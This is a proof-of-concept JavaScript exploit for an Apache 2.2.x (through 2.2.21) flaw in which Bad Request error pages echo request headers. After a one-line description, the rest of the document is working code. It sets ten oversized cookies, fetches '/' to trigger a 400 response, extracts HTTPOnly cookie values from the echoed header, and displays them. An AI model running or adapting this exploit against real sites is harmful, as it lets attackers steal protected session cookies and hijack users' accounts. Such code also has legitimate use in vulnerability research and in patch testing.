Proof of concept code for a vulnerability in protocol.c from Apache versions 2.2.x through 2.2.21. The issue is that it does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies.
8ed00b4f23edfe2b2af525954e40495839b29d37c0b5551d4d504b39aa8089c0
// Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08
// Most browsers limit cookies to 4k characters, so we need multiple
function setCookies (good) {
// Construct string for cookie value
var str = "";
for (var i=0; i< 819; i++) {
str += "x";
}
// Set cookies
for (i = 0; i < 10; i++) {
// Expire evil cookie
if (good) {
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
}
document.cookie = cookie;
}
}
function makeRequest() {
setCookies();
function parseCookies () {
var cookie_dict = {};
// Only react on 400 status
if (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
content = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies[i].split('=',2);
cookie_dict[s_c[0]] = s_c[1];
}
}
// Unset malicious cookies
setCookies(true);
alert(JSON.stringify(cookie_dict));
}
}
// Make XHR request
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();